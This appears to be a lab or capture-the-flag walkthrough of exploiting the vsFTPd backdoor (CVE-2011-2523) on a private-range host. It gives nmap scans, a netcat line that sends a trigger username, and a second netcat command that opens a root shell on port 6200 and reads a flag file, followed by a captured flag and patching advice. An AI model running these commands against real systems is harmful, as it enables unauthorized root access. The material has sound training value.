🔐 Vulnerability Assessment & Penetration Testing (VAPT)

📌 Project: Target Exploitation Walkthrough

⚠️ This project is for educational and authorized testing purposes only.
Unauthorized access to systems is strictly prohibited.

👨‍💻 Author

SYAFIQ
Role: Lead Penetration Tester

🎯 Target Information

• Target IP: 10.150.150.12
• Operating System: Ubuntu Linux
• Status: 🔴 CRITICAL (Backdoor Detected)
• Vulnerability: CVE-2011-2523 (vsFTPd Backdoor)

🧭 Attack Overview

🚀 Step-by-Step Walkthrough

🔍 Step 1: Network Reconnaissance

Scan for active hosts in the network:

nmap -sn --unprivileged 10.150.150.10-30

✅ Result:

-8 hosts detected -Target identified: 10.150.150.12

🔎 Step 2: Service Enumeration

Scan open ports and services:

nmap -Pn -F --unprivileged -sV 10.150.150.12

✅ Findings:

-Port 21 → FTP (vsftpd) -Port 22 → SSH (OpenSSH 8.2p1)

⚠️ Step 3: Vulnerability Scanning

Check for known FTP backdoor vulnerability:

nmap -Pn --unprivileged -p21 --script ftp-vsftpd-backdoor 10.150.150.12

🚨 Result:

-Target is VULNERABLE -CVE-2011-2523 confirmed

💣 Step 4: Exploitation

Trigger the backdoor using malicious username:

(echo "USER hello:)"; echo "PASS password"; sleep 1) | nc -nv 10.150.150.12 21

⚡ This opens a hidden root shell on port 6200

🔓 Step 5: Gain Access (Root Shell)

Connect to backdoor and execute commands:

(echo "id; cat /root/FLAG1.txt"; sleep 1) | nc -nv 10.150.150.12 6200

✅ Result:

Root access obtained uid=0(root) confirmed

🏁 Flag Captured:

5ee499eb5d0b8e4269b13483e57adaa0b3815f48

🧠 Key Takeaways

Always update outdated services (vsFTPd was vulnerable) Misconfigured services can lead to full system compromise Simple scans can reveal critical vulnerabilities -🛡️ Recommendations -🔄 Update FTP service to latest version -🚫 Disable unnecessary services -🔐 Use firewall to restrict access -📊 Perform regular security audits -📚 Disclaimer

This project is created strictly for:

Learning cybersecurity Ethical hacking practice Authorized penetration testing

❌ Do NOT use this knowledge for illegal activities.

⭐ Final Note

“Security is not a product, but a process.” — Always test, monitor, and improve.